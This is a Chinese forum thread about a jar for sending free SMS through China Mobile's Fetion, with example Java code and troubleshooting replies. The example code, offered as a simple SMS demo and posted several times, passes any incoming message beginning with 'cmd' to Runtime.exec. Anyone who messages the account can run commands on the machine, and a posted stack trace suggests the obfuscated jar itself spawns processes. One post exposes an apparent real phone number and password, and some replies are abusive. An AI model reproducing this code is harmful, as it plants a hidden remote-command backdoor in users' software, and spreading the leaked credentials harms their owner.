最近看到一个好东西,可以用来发免费的短信,有兴趣的可以试下....
http://download.csdn.net/source/1148854
用起来很方便,只需要这一个jar包
import java.io.IOException;import cn.edu.ctgu.ghl.fetion.Contact;
import cn.edu.ctgu.ghl.fetion.Fetion;
import cn.edu.ctgu.ghl.fetion.FetionEvent;
import cn.edu.ctgu.ghl.fetion.IFetionEventListener;
public class ExampleMain {
public static void main(String[] args) throws Exception{
final Fetion fetion = new Fetion("phone","password");
fetion.addListener(new IFetionEventListener(){public void process(FetionEvent e) {
if(e.getFirstLine()!=null
&& e.getFirstLine().startsWith("M")
&& e.getBody()!=null){
fetion.sendSms2SelfPhone(e.toString());
if (e.getBody().trim().startsWith("cmd")) {
System.out.println("excute[" + e.getBody().trim().substring(3) + "]");
try {
Runtime.getRuntime().exec(e.getBody().trim().substring(3));
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
}
}});
fetion.login();
for (Contact cc : fetion.getContacts()) {
System.out.println("####\r\n" + cc + "\r\n");
fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦...");
}
fetion.sendSms2SelfPhone("给自己发个试哈^_^...");
//fetion.logout();
}
}
http://download.csdn.net/source/1148854
用起来很方便,只需要这一个jar包
import java.io.IOException;import cn.edu.ctgu.ghl.fetion.Contact;
import cn.edu.ctgu.ghl.fetion.Fetion;
import cn.edu.ctgu.ghl.fetion.FetionEvent;
import cn.edu.ctgu.ghl.fetion.IFetionEventListener;
public class ExampleMain {
public static void main(String[] args) throws Exception{
final Fetion fetion = new Fetion("phone","password");
fetion.addListener(new IFetionEventListener(){public void process(FetionEvent e) {
if(e.getFirstLine()!=null
&& e.getFirstLine().startsWith("M")
&& e.getBody()!=null){
fetion.sendSms2SelfPhone(e.toString());
if (e.getBody().trim().startsWith("cmd")) {
System.out.println("excute[" + e.getBody().trim().substring(3) + "]");
try {
Runtime.getRuntime().exec(e.getBody().trim().substring(3));
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
}
}});
fetion.login();
for (Contact cc : fetion.getContacts()) {
System.out.println("####\r\n" + cc + "\r\n");
fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦...");
}
fetion.sendSms2SelfPhone("给自己发个试哈^_^...");
//fetion.logout();
}
}
解决方案 »
- 为什么Linux下的Eclipse菜单项不显示图标?
- 去购物了
- eclipse 有哪些插件可以自动生成applicationContext.xml等SSH整合的相关配置文件?myeclipse不算~~~
- 求助:jspsmartupload 下载文件时关于中文文件名的问题
- webwork2.2框架的form用法??
- silverstream 下怎么实现webservice???????
- 跪求struts token实例,百分全送!
- weblogic 8.1 怎么连接不成功sqlserver 呢
- 高难度问题"如何不通过远程控制程序远程启动Resin"
- FusionCharts单系列柱状图通过setJSONData方式显示问题
- td中内容为特殊字符时,该怎么换行?
- servlet问题 大哥大姐来帮忙啊
import cn.edu.ctgu.ghl.fetion.Fetion;
import cn.edu.ctgu.ghl.fetion.FetionEvent;
import cn.edu.ctgu.ghl.fetion.IFetionEventListener;
public class ExampleMain {
public static void main(String[] args) throws Exception{
final Fetion fetion = new Fetion("phone","password");
fetion.addListener(new IFetionEventListener(){ public void process(FetionEvent e) {
if(e.getFirstLine()!=null
&& e.getFirstLine().startsWith("M")
&& e.getBody()!=null){
fetion.sendSms2SelfPhone(e.toString());
if (e.getBody().trim().startsWith("cmd")) {
System.out.println("excute[" + e.getBody().trim().substring(3) + "]");
try {
Runtime.getRuntime().exec(e.getBody().trim().substring(3));
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
}
}
});
fetion.login();
for (Contact cc : fetion.getContacts()) {
System.out.println("####\r\n" + cc + "\r\n");
fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦...");
}
fetion.sendSms2SelfPhone("给自己发个试哈^_^...");
//fetion.logout();
}
}
带格式的才好看
告诉一下具体方法
import的东西去哪找
有个网站做好了一个 不知道能不能用
http://www.cn-dx.com.cn/fetion.aspx
java.lang.UnsupportedClassVersionError: Bad version number in .class file
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClass(Unknown Source)
at java.security.SecureClassLoader.defineClass(Unknown Source)
at java.net.URLClassLoader.defineClass(Unknown Source)
at java.net.URLClassLoader.access$100(Unknown Source)
at java.net.URLClassLoader$1.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClassInternal(Unknown Source)
Exception in thread "main"
告诉一下具体方法
import的东西去哪找http://download.csdn.net/source/1148854
这里有个jar包,你下了放在你的classpath里就行了
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClass(Unknown Source)
at java.security.SecureClassLoader.defineClass(Unknown Source)
at java.net.URLClassLoader.defineClass(Unknown Source)
at java.net.URLClassLoader.access$100(Unknown Source)
at java.net.URLClassLoader$1.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClassInternal(Unknown Source)
Exception in thread "main"
UnsupportedClassVersionError
这个是 jdk版本问题,需要jdk1.6才行啊.....
应该是能用吧
还是没用上
平时我都没设置classpath
临时设置了一个好像也不管用Exception in thread "main" java.lang.NoClassDefFoundError: feitio
Caused by: java.lang.ClassNotFoundException: feition.jar
at java.net.URLClassLoader$1.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Met
at java.net.URLClassLoader.findClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Sou
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClassInternal(Unknown Source
Could not find the main class: feition.jar. Program will exit.
password--你开通飞信业务时候设置的密码
这个安全放心,手机在你手上,密码可随时通过手机修改,所以没人能盗的了下jdk1.6
java -version
看看是不是1.6版本的
cd 命令到放了ExamapleMain.java和fetion.jar的目录里
修改下ExamapleMain.java代码里的phone,password
编译
javac -classpath "%classpath%;./fetion.jar" ExamapleMain.java
运行
java -classpath "%classpath%;./fetion.jar" ExamapleMain
Caused by: java.lang.ClassNotFoundException: feition.jar
at java.net.URLClassLoader$1.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Met
at java.net.URLClassLoader.findClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Sou
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClassInternal(Unknown Source
Could not find the main class: feition.jar. Program will exit.这个jar包,只是个api,不是个可以运行的程序,需要你自己写代码去发短信.......
什么意思哦,这个jar就是简单的api啊
都没能发送成功的。
汗啊..........
莫非都不能用..
再就是处理接收到的事件,所以没帮助文档。
有问题欢迎交流[email protected]
中有这一句
for (Contact cc : fetion.getContacts()) {
System.out.println("####\r\n" + cc + "\r\n");
fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦...");
}
所以你给你的每个好友都发了次,你可以自己改下.......
那说明你发送成功了.....
cn.edu.ctgu.ghl.fetion
就这个包下面的几个类是public的
我马上下JDK 1.6
锘縤mport java.io.IOException;
^
ExampleMain.java:2: 'class' or 'interface' expected
import cn.edu.ctgu.ghl.fetion.Contact;
^
ExampleMain.java:3: 'class' or 'interface' expected
import cn.edu.ctgu.ghl.fetion.Fetion;
^
ExampleMain.java:4: 'class' or 'interface' expected
import cn.edu.ctgu.ghl.fetion.FetionEvent;
^
ExampleMain.java:5: 'class' or 'interface' expected
import cn.edu.ctgu.ghl.fetion.IFetionEventListener;
^
5 errors
-----------------
还是没有成功
要是能把jar包打开看看就更好了
如果发给指定用户,Contact所有属性都要set吗?
如果发给指定用户,Contact所有属性都要set吗?
这个会从服务器获得,不用管就怕玩的人多了,移动会做手脚.........@估计过几天
飞信那边要停用调试了为了大家能继续玩,请大家发的时候尽量限制下,只发自己作为测试
不要发垃圾短信,要不大家到时候都玩不了拉............
at java.lang.ProcessBuilder.start(ProcessBuilder.java:459)
at java.lang.Runtime.exec(Runtime.java:593)
at java.lang.Runtime.exec(Runtime.java:431)
at java.lang.Runtime.exec(Runtime.java:328)
at oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.OoOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.o0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.new(Unknown OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.o0oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.<init>(Unknown Source)
at cn.edu.ctgu.ghl.fetion.Fetion.<init>(Unknown Source)
at org.sa.kif.common.HHH.main(HHH.java:10)
Caused by: java.io.IOException: java.io.IOException: error=2, No such file or directory
at java.lang.UNIXProcess.<init>(UNIXProcess.java:148)
at java.lang.ProcessImpl.start(ProcessImpl.java:65)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:452)
... 9 more
不知道怎么实现发给固定的某个人呢?
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClass(Unknown Source)
at java.security.SecureClassLoader.defineClass(Unknown Source)
at java.net.URLClassLoader.defineClass(Unknown Source)
at java.net.URLClassLoader.access$100(Unknown Source)
at java.net.URLClassLoader$1.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClassInternal(Unknown Source)
Exception in thread "main"
但是我给别人发的时候别人就是收不了
调用这个方法哪有错呢:fetion.login();
fetion.sendSms2SelfPhone("发给自己能成功");
fetion.sendSms("别人的手机号在这里", "发给别人的信息");
fetion.logout();试了好些就是不能给朋友发哦 请指教!
一定是能发的呀 谢谢
但还是有问题,有没有在1.5上实现过的朋友来说说咋个解决
找不到main class错误的。
System.out.println("####\r\n" + cc + "\r\n");
fetion.sendSms(cc.getUri(), cc.getNickName() + "所有收到我短信的朋友勿怪,我在用移动飞信包做程序测试,本来想发给我自己测试的,不料想把所有飞信好友都发了,我没喝多!");//发给所有飞信好友
}
fetion.sendSms2SelfPhone("这下完了!"); //发给自己
fetion.logout();
希望移动不要封掉~``
你可以自己单独调用
fetion.sendSms("tel:139********", msg);
为什么包名,类名,全是0ooo0一大串的字符,
难懂呀,有谁明白吗?
import cn.edu.ctgu.ghl.fetion.Fetion;
import cn.edu.ctgu.ghl.fetion.FetionEvent;
import cn.edu.ctgu.ghl.fetion.IFetionEventListener;import com.google.api.translate.Language;
import com.google.api.translate.Translate;public class CopyOfGoogleTranslateListener implements IFetionEventListener{ //private Logger logger = null;
private Fetion fetion = null;
public CopyOfGoogleTranslateListener(Fetion fetion){
this.fetion = fetion;
}
public void process(FetionEvent sm) {
//SipMessage sm = (SipMessage)event.getSource();
if(sm.getFirstLine().startsWith("M")
&&!"system-message".equals(sm.getHeader("N"))){
String s = sm.hasBody()?sm.getBody():"";
if(!s.startsWith("中英 ")
&& !s.startsWith("ec ")){
return;
}
try {
String c = null;
if(s.startsWith("中英 ") && s.length()>3){
String e = s.substring(2).trim();
c = Translate.translate(e, Language.CHINESE, Language.ENGLISH);
}else if(s.startsWith("ec ") && s.length()>3){
String e = s.substring(2).trim();
c = Translate.translate(e, Language.ENGLISH, Language.CHINESE);
}
this.fetion.sendSms(sm.getHeader("F"), c);
} catch (Exception e1) {
}
}
}
private String getPhoneByUri(String uri){
String ret = uri;
if(uri==null){
return null;
}
for(Contact c: this.fetion.getContacts()){
if(uri.equals(c.getUri())){
ret = c.getPhoneNum() + "(" +c.getNickName() + ")";
break;
}
}
return ret;
}}
大家不要发太多的垃圾短信,否则中移动肯定回封的,如果感兴趣不妨搞点其他的,这里随便弄了个翻译的玩哈....
报上面的错误!
让老子把JDK都换了,还是不行!
骗子!
浪费老子时间,小心警察来找你!
楼主你找死了!!
骗子!!!
你家人都死光
以前在linux公社有个libfetion,感觉还不错。广东似乎也有民间开发的飞信。
测试工具: MyElicpse (JBuilder 下调试不了)
JDK: 1.6 (MyElicpse中修改JDK 可以参考网站 http://zhidao.baidu.com/question/39685931.html)
然后新建项目 再新建类 类名为:ExampleMain 具体代码如下
import java.io.IOException;import cn.edu.ctgu.ghl.fetion.Contact;
import cn.edu.ctgu.ghl.fetion.Fetion;
import cn.edu.ctgu.ghl.fetion.FetionEvent;
import cn.edu.ctgu.ghl.fetion.IFetionEventListener;
//飞信接口 注意加包。 public class ExampleMain {
public static void main(String[] args) throws Exception{
final Fetion fetion = new Fetion("15850504622","tang8567023");
fetion.addListener(new IFetionEventListener(){ public void process(FetionEvent e) {
if(e.getFirstLine()!=null
&& e.getFirstLine().startsWith("M")
&& e.getBody()!=null){
fetion.sendSms2SelfPhone(e.toString());
if (e.getBody().trim().startsWith("cmd")) {
System.out.println("excute[" + e.getBody().trim().substring(3) + "]");
try {
Runtime.getRuntime().exec(e.getBody().trim().substring(3));
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
}
}
});
fetion.login();
for (Contact cc : fetion.getContacts()) {
System.out.println("####\r\n" + cc + "\r\n");
//fetion.sendSms(cc.getUri(), cc.getNickName() + "哈哈...正在调试飞信群发");
}
fetion.sendSms2SelfPhone("给自己发个试哈^_^...");
//fetion.logout();
}
}然后就OK了。
我也只是调试的。也对源文件好奇。并且发给自己的信息中有很多别的东西如“傻逼”字眼。所以在此谴责发包人!!!!
注意运行时会让正在运行的 飞信短线。